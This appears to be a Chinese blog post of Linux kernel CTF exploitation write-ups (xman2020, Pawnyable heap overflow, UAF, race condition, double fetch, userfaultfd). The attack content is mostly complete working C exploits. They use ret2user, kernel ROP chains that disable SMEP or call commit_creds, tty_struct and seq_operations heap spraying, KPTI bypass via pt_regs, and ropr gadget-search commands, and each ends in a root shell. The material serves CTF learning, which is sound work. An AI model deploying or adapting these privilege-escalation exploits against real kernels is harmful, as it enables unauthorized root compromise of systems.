kernel pwn 从 0.5 到 0
-
xman2020-level1
注册了一个 baby 驱动,在 sub_0 中存在栈溢出,可以将 0x100 的用户数据 copy 到内核栈上,缓冲去到 rbp 距离为 0x80。
什么保护没开直接 ret2user 🐏了。
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void shell() {
if (!getuid()) {
system("/bin/sh");
}
else {
puts("[-] CAN NOT GETSHELL.");
exit(1);
}
}
void ret2user()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
int main()
{
void *buf[0x100];
save_status();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
int i;
for(i = 0; i < 0x100; i++) {
buf[i] = &ret2user;
}
ioctl(fd, 0x6001, buf);
}
-
xman2020-level2
可以 copy 数据到内核,也可以读取内核栈数据,这里开启了 smep、smap、kaslr,可用于泄露内核基址。
先关闭 kaslr,用此时的目标函数地址加上内核偏移,就能得到开启 kaslr 的目标函数地址。或者更快捷点,直接泄露内核地址指针,然后计算偏移。这里可以在泄露的栈中找 0xffffffff80000000 附近的内核地址。
注意到这里的 baby.ko 还开启了 canary,还需要泄露一下 canary 地址。一般 canary 会在 rbp - 8 的位置,且 canary 是一个高字节为 \x00 的随机字符串。
开启了 smep ,可以先通过 kernel rop 关闭 smep(通过修改 cr4 寄存器),或者直接构造 rop 在内核种调用 commit _ creds。寻找 gadget 的过程用 ropr 实现:
ropr --nouniq -R "^pop rdi; ret;|^mov rdi, rax; mov|^swapgs|^iretq" ./vmlinux
找可以控制 cr4 寄存器的方式(但是在较新版本的内核中已经找不到类似 gadget 了)
ropr --nouniq -R "mov cr4" ./vmlinux
exp:
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; unsigned long long user_cs, user_ss, user_rflags, user_sp; unsigned long long base_addr, canary; unsigned long long mov_cr4_rdi = 0xffffffff81020300; unsigned long long pop_rdi_ret = 0xffffffff815033ec; void save_stat() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); } void get_root() { commit_creds(prepare_kernel_cred(0)); asm( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $get_shell;" "pushq $0;" "swapgs;" "popq %%rbp;" "iretq;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); } void get_shell() { printf("root\n"); system("/bin/sh"); exit(0); } unsigned long long calc(unsigned long long addr) { return addr-0xffffffff81000000 + base_addr; } int main() { long long buf[0x200]; save_stat(); int fd = open("/dev/baby", 0); if (fd < 0) { printf("[-] bad open device\n"); exit(-1); } ioctl(fd, 0x6002, buf); base_addr = buf[9] - 0x29b078; canary = buf[13]; printf("base:0x%llx, canary:0x%llx\n", base_addr,canary); prepare_kernel_cred = calc(prepare_kernel_cred); commit_creds = calc(commit_creds); int i = 18; buf[i++] = calc(pop_rdi_ret); // pop rdi; ret; buf[i++] = 0x6f0; buf[i++] = calc(mov_cr4_rdi); // mov cr4,rdi; pop rbp; ret; buf[i++] = 0; buf[i++] = &get_root; ioctl(fd, 0x6001, buf); }
-
Pawnyable-堆溢出
核心代码可简化为以下,可以实现堆上的越界读和越界写。此外 SMEP/SMAP、KPTI和KASLR 等保护全开。
#define DEVICE_NAME "holstein" #define BUFFER_SIZE 0x400 char *g_buf = NULL; static int module_open(struct inode *inode, struct file *file) { g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL); } static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) { copy_to_user(buf, g_buf, count); // <1> OOB read } static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { copy_from_user(g_buf, buf, count); // <2> OOB write } static int module_close(struct inode *inode, struct file *file) { kfree(g_buf); }
linux 相关的知识可参考之前写的:https://www.cnblogs.com/m00nflower/p/17012231.html
2.6.23 之前:SLAB
┌───┬───┬───┬───┬───┬───┬───┐ │ 1 │ 0 │ 1 │ 1 │ 0 │ 0 │ 0 │ └─┬─┴─┬─┴─┬─┴─┬─┴──┬┴─┬─┴─┬─┘ │ │ │ │ │ │ │ │ │ │ │ │ │ └─────────────────┐ │ │ │ │ │ │ │ │ │ │ │ │ └──────────────┐ │ │ │ │ │ │ │ │ │ │ │ │ └───────────┐ │ │ │ │ │ │ │ │ │ │ │ │ └─────────┐ │ │ │ │ │ │ │ │ │ │ │ └┐ └──────┐ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────┬──────┬──────┬──────┬──────┬──────┬──────┬──────┐ │ freelist │ used │ free │ used │ used │ free │ free │ free │ └──────────┴──────┴──────┴──────┴──────┴──────┴──────┴──────┘
2.6.23 之后:SLUB
SLUB 的特性决定了只有大小相同的对象开会从同一个 kmem_cache 区域分配,因此需要根据脆弱对象的大小来选择目标对象(堆上花式利用),这次堆块大小为 0x400(1024),需要找一个大小在 kmalloc-1024 范围的堆块,这里可以用 tty_struct 来打(0x2c0)。
struct tty_struct { int magic; struct kref kref; struct device *dev; /* class device or NULL (e.g. ptys, serdev) */ struct tty_driver *driver; const struct tty_operations *ops; // ... } __randomize_layout;
/dev 下有一个伪终端设备 ptmx,打开这个设备的时候就会创建一个 tty_struct 结构体,那么可以通过劫持 /dev/ptmx 这个设备的 tty_struct 与其 tty_operations 函数表(偏移 0x18)实现控制流劫持。
内核模块调试:
在 /etc/init.d 中注释掉 kptr_restrict 那一行(/proc/kallsym 的保护),然后查看模块加载地址和函数位置:
如果要查看堆块的话找到 copy_from_user(g_buf, buf, count) 的位置,查看 g_buf 部分指向的内存即可:
现在要考虑的问题就是,如何将一个 kernel 的堆溢出 / UAF 原语,转化为泄露 / 任意地址写原语,这里通过各类堆上结构体实现。同时,也要考虑堆上利用时的保护问题。
KASLR:
调试时观察到 tty_struct 的 tty_operations *ops 为 0xffffffff81c38880,那么在开启 KASLR 环境中利用的时候,可以读出被溢出对象后一个 tty_struct 偏移 0x18 处的值,再减去 0xc38880 就能得到基地址了。
SMAP:
如果开启了 SMAP 则无法再用户空间放伪造的函数表,可以在堆上泄露地址,那么就需要泄露堆基址。同理观察 g_buf 后的 tty_struct,可以通过结构体偏移 0x38 处减去 0x438 得到堆地址。在没有开启 SMEP 的情况下可以直接用类似 ret2user 的方式,在函数表中放用户代码的指针。
SMEP:
和内核栈溢出的利用类似,通过 krop 绕过。在没有开启 SMAP 的情况下可以直接在用户空间的栈上布置 rop 链,如果开启了 SMAP 则需要将 rop 布置到内核堆上(或者说栈迁移到堆上),需要找栈迁移相关 gadget:
ropr --nouniq -R "^push rdx;.* pop rsp;.* ret" ./vmlinux
有两个多余的 pop,所以传入的地址不是 g_buf 而是 g_buf - 0x10。
exp:
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdint.h> #define SPRAY_NUM 100 #define ofs_tty_ops 0xc38880 #define prepare_kernel_cred (kbase + 0x74650) #define commit_creds (kbase + 0x744b0) #define pop_rdi_ret (kbase + 0x4767e0) #define pop_rcx_ret (kbase + 0x4d52dc) #define push_rdx_pop_rsp_pop2_ret (kbase + 0x3a478a) #define mov_rdi_rax_rep_movsq_ret (kbase + 0x62707b) #define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) void spawn_shell(); uint64_t user_cs, user_ss, user_rflags, user_sp; uint64_t user_rip = (uint64_t)spawn_shell; unsigned long kbase; unsigned long g_buf; void spawn_shell() { puts("[+] returned to user land"); uid_t uid = getuid(); if (uid == 0) { printf("[+] got root (uid = %d)\n", uid); } else { printf("[!] failed to get root (uid: %d)\n", uid); exit(-1); } puts("[*] spawning shell"); system("/bin/sh"); exit(0); } void save_userland_state() { puts("[*] saving user land state"); __asm__(".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax"); } int main() { save_userland_state(); int spray[SPRAY_NUM]; printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); for (int i = 0; i < SPRAY_NUM / 2; i++) spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); printf("[+] /dev/holstein opened\n"); int fd = open("/dev/holstein", O_RDWR); for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); char buf[0x500]; // memset(buf, 'A', 0x500); // write(fd, buf, 0x500); read(fd, buf, 0x500); kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops; g_buf = *(unsigned long *)&buf[0x438] - 0x438; printf("[+] leaked kernel base address: 0x%lx\n", kbase); printf("[+] leaked g_buf address: 0x%lx\n", g_buf); printf("[*] crafting rop chain\n"); unsigned long *chain = (unsigned long *)&buf; *chain++ = pop_rdi_ret; // #0 return address *chain++ = 0x0; // #1 *chain++ = prepare_kernel_cred; // #2 *chain++ = pop_rcx_ret; // #3 *chain++ = 0; // #4 *chain++ = mov_rdi_rax_rep_movsq_ret; // #5 *chain++ = commit_creds; // #6 *chain++ = pop_rcx_ret; // #7 *chain++ = 0; // #8 *chain++ = pop_rcx_ret; // #9 *chain++ = 0; // #a *chain++ = pop_rcx_ret; // #b *chain++ = push_rdx_pop_rsp_pop2_ret; // #c *chain++ = swapgs_restore_regs_and_return_to_usermode; *chain++ = 0x0; *chain++ = 0x0; *chain++ = user_rip; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; *(unsigned long *)&buf[0x418] = g_buf; printf("[*] overwriting the adjacent tty_struct\n"); write(fd, buf, 0x420); printf("[*] invoking ioctl to hijack control flow\n"); // hijack control flow for (int i = 0; i < SPRAY_NUM; i++) { ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); } getchar(); close(fd); for (int i = 0; i < 100; i++) close(spray[i]); return 0; }
-
Pawnyable-UAF
对越界读写做了检查,但是在 close 的时候存在 UAF:
#define DEVICE_NAME "holstein" #define BUFFER_SIZE 0x400 char *g_buf = NULL; static int module_open(struct inode *inode, struct file *file) { g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); } static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) { if (count > BUFFER_SIZE) // <1> no OOB read return -EINVAL; copy_to_user(buf, g_buf, count); } static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { if (count > BUFFER_SIZE) // <2> no OOB write return -EINVAL; copy_from_user(g_buf, buf, count); } static int module_close(struct inode *inode, struct file *file) { kfree(g_buf); // <3> UAF }
内核中统一模块的全局遍历时共享的,所以如果 open 两次得到 fd1 和 fd2,然后 free fd1,那么此时 g_buf 指向的空间已经被释放了,但还是能通过 fd2 对这部分空间进行操作,相当于一个任意性不那么强的堆上任意地址写。
在内核的利用中,可以通过堆喷的方式在堆上布置一些结构体(tty_struct 等),然后利用 UAF 对其成员变量进行改写(伪造函数表等)。
为了利用的稳定性,作者构造了两个 UAF,一个用于布置 ROP 链和 tty_struct 函数表,另一个用于触发 ioctl 执行。
#include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define SPRAY_NUM 100 #define ofs_tty_ops 0xc39c60 #define prepare_kernel_cred (kbase + 0x72560) #define commit_creds (kbase + 0x723c0) #define pop_rdi_ret (kbase + 0x14078a) #define pop_rcx_ret (kbase + 0x0eb7e4) #define push_rdx_pop_rsp_pop_ret (kbase + 0x14fbea) #define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b) #define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) void spawn_shell(); uint64_t user_cs, user_ss, user_rflags, user_sp; uint64_t user_rip = (uint64_t)spawn_shell; unsigned long kbase; unsigned long g_buf; int spray[SPRAY_NUM]; void spawn_shell() { puts("[+] returned to user land"); uid_t uid = getuid(); if (uid == 0) { printf("[+] got root (uid = %d)\n", uid); } else { printf("[!] failed to get root (uid: %d)\n", uid); exit(-1); } puts("[*] spawning shell"); system("/bin/sh"); exit(0); } void save_userland_state() { puts("[*] saving user land state"); __asm__(".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax"); } int main() { save_userland_state(); puts("[*] UAF-1: open fd1, fd2; close fd1"); int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); // free(g_buf) printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); for (int i = 0; i < SPRAY_NUM / 2; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) perror("open"); } printf("[*] leaking kernel base and g_buf with tty_struct\n"); char buf[0x400]; read(fd2, buf, 0x400); // read tty_struct kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops; g_buf = *(unsigned long *)&buf[0x38] - 0x38; printf("[+] leaked kernel base address: 0x%lx\n", kbase); printf("[+] leaked g_buf address: 0x%lx\n", g_buf); // craft rop chain and fake function table printf("[*] crafting rop chain\n"); unsigned long *chain = (unsigned long *)&buf; *chain++ = pop_rdi_ret; *chain++ = 0x0; *chain++ = prepare_kernel_cred; *chain++ = pop_rcx_ret; *chain++ = 0; *chain++ = mov_rdi_rax_rep_movsq_ret; *chain++ = commit_creds; *chain++ = pop_rcx_ret; *chain++ = 0; *chain++ = pop_rcx_ret; *chain++ = 0; *chain++ = swapgs_restore_regs_and_return_to_usermode; *chain++ = 0x0; *chain++ = 0x0; *chain++ = user_rip; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; *(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret; printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n"); write(fd2, buf, 0x400); puts("[*] UAF-2: open fd3, fd4; close fd3"); int fd3 = open("/dev/holstein", O_RDWR); int fd4 = open("/dev/holstein", O_RDWR); close(fd3); printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) perror("open"); } printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n"); read(fd4, buf, 0x400); *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8; write(fd4, buf, 0x20); printf("[*] invoking ioctl to hijack control flow\n"); // hijack control flow for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { ioctl(spray[i], 0, g_buf - 8); } getchar(); close(fd2); close(fd4); for (int i = 0; i < SPRAY_NUM; i++) close(spray[i]); return 0; }
在没有开启 SMAP 的情况下也可以把 ROP 链放到用户空间的内存中,好处是不必泄露对地址。首先利用 gadget 把栈指针转移到用户态可控地址:
0xffffffff815b5410: mov esp, 0x39000000; ret;
需要注意的是 rsp 是 8 字节对齐,找到之后利用 mmap 来映射 0x39000000 附近的内存:
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
之后将 rop 链放到这里就行了。
-
Pawnyable-条件竞争
比起单纯的 UAF 添加了一个全局变量 mutex 确保同一时刻只能打开一个设备(怎么可能),显然可以通过条件竞争绕过。
一个条件竞争的 demo:
#include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> int win = 0; void *race(void *arg) { while (1) { while (!win) { int fd = open("/dev/holstein", O_RDWR); if (fd == 4) win = 1; if (win == 0 && fd != -1) close(fd); } if (write(3, "A", 1) != 1 || write(4, "a", 1) != 1) { close(3); close(4); win = 0; } else { break; } } return NULL; } int main() { pthread_t th1, th2; puts("[*] running thread 1 and thread 2"); pthread_create(&th1, NULL, race, NULL); pthread_create(&th1, NULL, race, NULL); pthread_join(th1, NULL); pthread_join(th2, NULL); puts("[+] reached race condition"); char buf[0x400] = { 0 }; int fd1 = 3, fd2 = 4; puts("[*] writing \'aptx4869\' into fd 3"); write(fd1, "aptx4869", 9); puts("[*] reading from fd 4"); read(fd2, buf, 9); printf("[+] content: %s\n", buf); return 0; }
同样通过 rop 实现控制流劫持,不过将原来直接 UAF 变成了先条件竞争再 UAF。
-
Double Fetch
dexter 驱动提供读写两种功能,分别会调用 copy_data_to_user 和 copy_data_from_user,在进行操作之前首先会对 request_t 结构体进行检查,包括指向的内容检查和长度检查。
那么如果在长度检查之后修改了 len 的值,就可以导致堆的越界读写了。(其实本质上就是一种条件竞争,这种跨用户空间和内核空间的竞争就被成为 double fetch)
这种问题在 Linux 中也非常常见,用户态和内核态的数据交换往往是通过传递结构体指针进行的,内核会先对指针进行校验然后再使用用户态的数据,然后就可以触发一些 UAF 或溢出类的漏洞了。
一个 poc:
#define _GNU_SOURCE #include <fcntl.h> #include <pthread.h> #include <sched.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define CMD_GET 0xdec50001 #define CMD_SET 0xdec50002 void fatal(char *msg) { perror(msg); exit(-1); } typedef struct { char *ptr; size_t len; } request_t; int fd; request_t req; int race_win = 0; int set(char *buf, size_t len) { req.ptr = buf; req.len = len; return ioctl(fd, CMD_SET, &req); } int get(char *buf, size_t len) { req.ptr = buf; req.len = len; return ioctl(fd, CMD_GET, &req); } void *race(void *arg) { puts("[*] trying to set req.len to 0x100"); while (!race_win) { req.len = 0x100; usleep(1); } return NULL; } int main() { fd = open("/dev/dexter", O_RDWR); if (fd == -1) fatal("/dev/dexter"); char buf[0x100] = {0}; char zero[0x100] = {0}; pthread_t th; pthread_create(&th, NULL, race, NULL); puts("[*] trying to read 0x20 from /dev/dexter"); while (!race_win) { get(buf, 0x20); if (memcmp(buf, zero, 0x100) != 0) { puts("[+] reached race condition"); race_win = 1; break; } } pthread_join(th, NULL); puts("[+] more than 0x20 data is leaked:"); for (int i = 0; i < 0x100; i += 8) printf("%02x: 0x%016lx\n", i, *(unsigned long *)&buf[i]); close(fd); return 0; }
可以实现一个内存泄露:
精彩的是后续的利用部分,缓冲区大小是 32,利用 seq_operations 进行内存读写,通过打开一个 /proc/self/stat 文件出发 seq_operations 的分配,用户空间对上述文件描述符进行 read 的时候触发 start 指针指向的函数被执行。
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
本题没有开启 SMAP 可以直接写到用户空间中,但如果开启了呢。
首先要考虑布置 ROP 的地方,目前可以进行一次控制流劫持和一次内核基址泄露,但 seq_operations 都不是指向堆区域的函数,而自身堆块可利用的大小不够(32 字节)。
于是这里采取一种新思路:
系统调用处理入口是 entry_SYSCALL_64,其中有这个指令
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
,追一下这个指令的宏定义,其中会将寄存器压栈:.macro PUSH_REGS rdx=%rdx rax=%rax save_ret=0 .if \save_ret pushq %rsi /* pt_regs->si */ movq 8(%rsp), %rsi /* temporarily store the return address in %rsi */ movq %rdi, 8(%rsp) /* pt_regs->di (overwriting original return address) */ .else pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ .endif pushq \rdx /* pt_regs->dx */ pushq %rcx /* pt_regs->cx */ pushq \rax /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ pushq %rbx /* pt_regs->rbx */ pushq %rbp /* pt_regs->rbp */ pushq %r12 /* pt_regs->r12 */ pushq %r13 /* pt_regs->r13 */ pushq %r14 /* pt_regs->r14 */ pushq %r15 /* pt_regs->r15 */ UNWIND_HINT_REGS .if \save_ret pushq %rsi /* return address on top of stack */ .endif .endm
在内核栈栈底形成一个
pt_regs
结构体,这里的一个思路就是借助占地的 pt_regs 结构体来布置 ROP,能用的寄存器包括 r8-r15(除 r11)、rbp、rbx。首先控制 rsp 寄存器指向 pt_regs,需要找一个形如add rsp, val; ret
的 gadget 放在 start 函数处,其中 val 是进行控制流劫持是 rsp 的值和 pt_regs 中第一个压栈的 r15 的内存地址之差(0x170),直接找很难,这里通过一些 pop 指令缩小 val,确保 pop 执行完后 rsp 刚好落在通过 r15 传入并压栈的第一个 ROP gadget:0xffffffff810bf813: add rsp, 0x140; mov eax,r9d; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
前面提到过这里可以用来布置 ROP 的只有 9 个寄存器(还需要额外消耗一个 pop; ret),但是对于 prepare_kernel_cred 的这种方式是刚好可以用的:
"mov r15, pop_rdi_ret;" "mov r14, 0x0;" "mov r13, prepare_kernel_cred;" "mov r12, pop_rcx_ret;" "mov rbp, 0x0;" "mov rbx, pop_rbx_ret;" // make rsp skip r11 "mov r10, mov_rdi_rax_rep_movsq_ret;" "mov r9, commit_creds;" "mov r8, swapgs_restore_regs_and_return_to_usermode;"
由于 pt_regs 结构体末尾恰好提供了用户态寄存器上下文的信息,所以恢复用户态栈的这部分就省掉了。
这里在绕过 KPTI 的时候没有跳转到 swapgs_restore_regs_and_return_to_usermode 22 偏移的位置(因为该函数开头部分有大量的对 ROP 不必要的 pop 指令),因为开头有大量的 pop 指令。但是这里不行。pt_regs 结构体中我们用到的最后一个成员 “寄存器 r8” 与“用于返回用户态的寄存器上下文信息的第一个成员 ip” 之间隔了 6 个无关成员,而以往我们从偏移 22 处开始执行swapgs_restore_regs_and_return_to_usermode 需要处理后面的2个额外pop指令,因此最终我们需要将偏移减 4,也就是多包含 swapgs_restore_regs_and_return_to_usermode 中的4个 pop 指令,一共有 6 个 pop,刚好把 pt_regs 中的无关成员跳过。
exp:
#define _GNU_SOURCE #include <fcntl.h> #include <pthread.h> #include <sched.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define SPRAY_NUM 200 #define VUL_BUF_LEN 0x20 #define BUF_LEN 0x40 #define CMD_GET 0xdec50001 #define CMD_SET 0xdec50002 unsigned long kbase; unsigned long g_buf; #define ofs_seq_ops_start 0x170f80 #define add_rsp_0x140_pop6_ret (kbase + 0x0bf813) uint64_t swapgs_restore_regs_and_return_to_usermode = 0x800e10 + 0x12; uint64_t mov_rdi_rax_rep_movsq_ret = 0x63d0ab; uint64_t prepare_kernel_cred = 0x0729b0; uint64_t commit_creds = 0x072810; uint64_t pop_rdi_ret = 0x29033c; uint64_t pop_rcx_ret = 0x10d88b; uint64_t pop_rbx_ret = 0x290240; void spawn_shell(); uint64_t user_cs, user_ss, user_rflags, user_sp; uint64_t user_rip = (uint64_t)spawn_shell; void fatal(char *msg) { perror(msg); exit(-1); } typedef struct { char *ptr; size_t len; } request_t; int fd; int tmp_fd; request_t req; int race_win = 0; int set(char *buf, size_t len) { req.ptr = buf; req.len = len; return ioctl(fd, CMD_SET, &req); } int get(char *buf, size_t len) { req.ptr = buf; req.len = len; return ioctl(fd, CMD_GET, &req); } void *race(void *arg) { puts("[*] trying to set req.len to 0x100"); while (!race_win) { req.len = 0x100; usleep(1); } return NULL; } void spawn_shell() { puts("[+] returned to user land"); uid_t uid = getuid(); if (uid == 0) { printf("[+] got root (uid = %d)\n", uid); } else { printf("[!] failed to get root (uid: %d)\n", uid); exit(-1); } puts("[*] spawning shell"); system("/bin/sh"); exit(0); } void oob_read(char *buf, size_t len) { char *zero = (char *)malloc(len); pthread_t th; pthread_create(&th, NULL, race, (void *)len); puts("[*] trying to achieve OOB read"); memset(buf, 0, len); memset(zero, 0, len); while (!race_win) { get(buf, VUL_BUF_LEN); if (memcmp(buf, zero, len) != 0) { race_win = 1; break; } } pthread_join(th, NULL); printf("[+] achieved OOB read (0x%lx bytes)\n", len); race_win = 0; free(zero); } void oob_write(char *buf, size_t len) { puts("[*] trying to achieve OOB write"); pthread_t th; char *tmp = (char *)malloc(len); while (1) { pthread_create(&th, NULL, race, (void*)len); for (int i = 0; i < 0x10000; i++) set(buf, VUL_BUF_LEN); race_win = 1; pthread_join(th, NULL); race_win = 0; oob_read(tmp, len); if (memcmp(tmp, buf, len) == 0) break; } printf("[+] achieved OOB write (0x%lx bytes)\n", len); free(tmp); } int main() { char buf[BUF_LEN]; char temp[0x20] = { 0 }; int spray[SPRAY_NUM]; printf("[*] spraying %d seq_operations objects\n", SPRAY_NUM / 2); for (int i = 0; i < SPRAY_NUM - 1; i++) { spray[i] = open("/proc/self/stat", O_RDONLY); if (spray[i] == -1) perror("open stat error!"); } printf("[+] /dev/dexter opened\n"); fd = open("/dev/dexter", O_RDWR); if (fd == -1) fatal("/dev/dexter"); spray[SPRAY_NUM - 1] = open("/proc/self/stat", O_RDONLY); oob_read(buf, BUF_LEN); printf("[*] leaking kernel base with seq_operations\n"); kbase = *(unsigned long *)&buf[0x20] - ofs_seq_ops_start; printf("[+] leaked kernel base address: 0x%lx\n", kbase); getchar(); swapgs_restore_regs_and_return_to_usermode += kbase; mov_rdi_rax_rep_movsq_ret += kbase; prepare_kernel_cred += kbase; commit_creds += kbase; pop_rdi_ret += kbase; pop_rbx_ret += kbase; pop_rcx_ret += kbase; *(unsigned long *)&buf[0x20] = add_rsp_0x140_pop6_ret; oob_write(buf, BUF_LEN); tmp_fd = spray[SPRAY_NUM - 1]; printf("tmp fd address: 0x%lx", tmp_fd); getchar(); __asm__(".intel_syntax noprefix;" "mov r15, pop_rdi_ret;" "mov r14, 0x0;" "mov r13, prepare_kernel_cred;" "mov r12, pop_rcx_ret;" "mov rbp, 0x0;" "mov rbx, pop_rbx_ret;" "mov r11, 0xbbbbbbbb;" "mov r10, mov_rdi_rax_rep_movsq_ret;" "mov r9, commit_creds;" "mov r8, swapgs_restore_regs_and_return_to_usermode;" "xor rax, rax;" "mov rcx, 0x66666666;" "mov rdx, 0x8;" "mov rsi, rsp;" "mov rdi, tmp_fd;" "syscall;" ".att_syntax"); spawn_shell(); close(fd); return 0; return 0; }
-
userfaultfd 利用
对应代码在 LK04
主要实现了 open, close 和 ioctl 中 add, del, get, set 操作(搞得像个菜单题)
采用的数据结构是 kernel 中的双向循环列表,链表上每个节点都有 id, size, data 三个属性,ioctl 中的操作实际上是对链表操作的封装。
这里的操作没有开启相应的保护措施,存在明显的条件竞争:多线程同时操作链表。为了触发漏洞,这里就要找一个条件竞争转化为其他漏洞的方式(UAF),大致思路如下:
泄露内核地址:
- 线程1 新增一个链表节点 A
- 线程1 对 A 进行 get,在调用 copy_to_user 之前线程 2 对 A 执行删除操作并喷射 tty_struct 占位。
- 线程1 继续执行到 copy_to_user,成功将 tty_struct 的内容复制到用户空间。
控制流劫持:
- 线程1 新增一个节点 B
- 线程1 对 B 进行 set,在 copy_from_user 之前对 B 进行删除,并喷射 tty_struct 占位。
- 线程1 执行 copy_from_user,将占位的 tty_struct 替换成攻击者的 tty_struct。
但实际上没那么简单,不理想的竞争可能导致内核崩溃(LK03),所以需要有一系列延时的方式提高条件竞争漏洞利用成功,这里用到的是 userfaultfd 机制(在之前强网杯的题目中也提到过)。
userfaultfd 机制允许多线程程序中的某个线程为其他线程提供用户空间页面,如果该线程将这些页面注册到了 userfaultfd 对象上,那么当这些页面发生缺页异常时,触发缺页异常的线程将暂停运行,内核生成一个缺页异常事件并通过 userfaultfd 文件描述符传递给异常处理线程。异常处理线程做一些处理后才会唤醒之前暂停的线程。
大致流程如下:
- mmap 在用户空间分配两个匿名页,创建 userfaultfd,并启动异常处理线程。
- 主线程向两个匿名页依次写入数据。
- 第一次读操作回触发两次缺页异常,子线程从阻塞态恢复并执行处理逻辑
